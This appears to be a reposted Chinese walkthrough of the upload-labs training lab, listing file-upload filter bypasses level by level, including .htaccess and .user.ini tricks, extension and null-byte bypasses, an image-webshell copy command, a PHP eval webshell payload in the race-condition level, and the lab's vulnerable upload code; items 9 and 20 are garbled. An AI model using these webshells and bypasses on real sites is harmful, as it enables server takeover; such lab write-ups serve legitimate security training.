概述
项目地址:https://github.com/c0ny1/upload-labs
参考:
https://blog.csdn.net/weixin_44426869/article/details/104236854
1、上传漏洞总结
2、upload_labs
1、客户端使用JS校验
直接禁用JS即可,或者直接F12重新定义一下校验函数,使校验函数无效。
2、修改content-type
使用burp抓包,修改Content-Type的值为image/jpeg,成功绕过。
3、使用特殊后缀绕过
使用特殊后缀php3、phtml等。
4、.htaccess
AddType application/x-httpd-php .png
先上传.htaccess文件,再上传png木马
5、黑名单验证,.user.ini
先上传一个以auto_prepend_file=1.gif
为内容的.user.ini
文件,然后再上传一个内容为php的一句话的脚本,命名为1.gif
,.user.ini
文件里的意思是:所有的php文件都自动包含1.gif文件。.user.ini相当于一个用户自定义的php.ini。
6、大小写绕过
7、空格绕过
没有对后缀名进行去空处理,可在后缀名中加空绕过
8、点号绕过
没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:
9、特殊字符::$DATA绕过
没有对:: D A T A 做 过 滤 , 选 择 选 择 后 缀 为 ‘ . p h p ‘ 的 一 句 话 上 传 , 抓 包 后 在 后 面 增 加 ‘ : : DATA做过滤,选择选择后缀为`.php`的一句话上传,抓包后在后面增加`:: DATA做过滤,选择选择后缀为‘.php‘的一句话上传,抓包后在后面增加‘::DATA`,上传成功。
10、点空格点绕过
11、双写绕过
12、%00截断
13、0x00截断
14、直接上传一个图片马
copy 1.jpg/b + 1.txt/b 2.jpg
15-17类似
18、为条件竞争
绕过过程:不断上传文件,在文件还没被删除前去读取文件,若上传内容为<?php fputs(fopen('2.php','w'),'<?php @eval($_POST["pass"])?>');?>
,则还没被删除前去读取文件,解析之后会写入一个内容为<?php @eval($_POST["pass"])?>
的2.php
文件。使用BurpSuite的Intruder不断上传文件并不断访问所上传的文件。
注:"pass"
一定要双引号,不然单引号之间乱了。
19、直接图片马
20、代码审计
通过审计代码得知 f i l e e x t = p a t h i n f o ( file_ext = pathinfo( fileext=pathinfo(file_name,PATHINFO_EXTENSION);就是提取文件名后缀。而$file_name是我们设置的保存名称,直接加点号绕过即可。
21、代码审计
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
最后
以上就是懦弱书包为你收集整理的upload-labs 通关攻略的全部内容,希望文章能够帮你解决upload-labs 通关攻略所遇到的程序开发问题。
如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。
发表评论 取消回复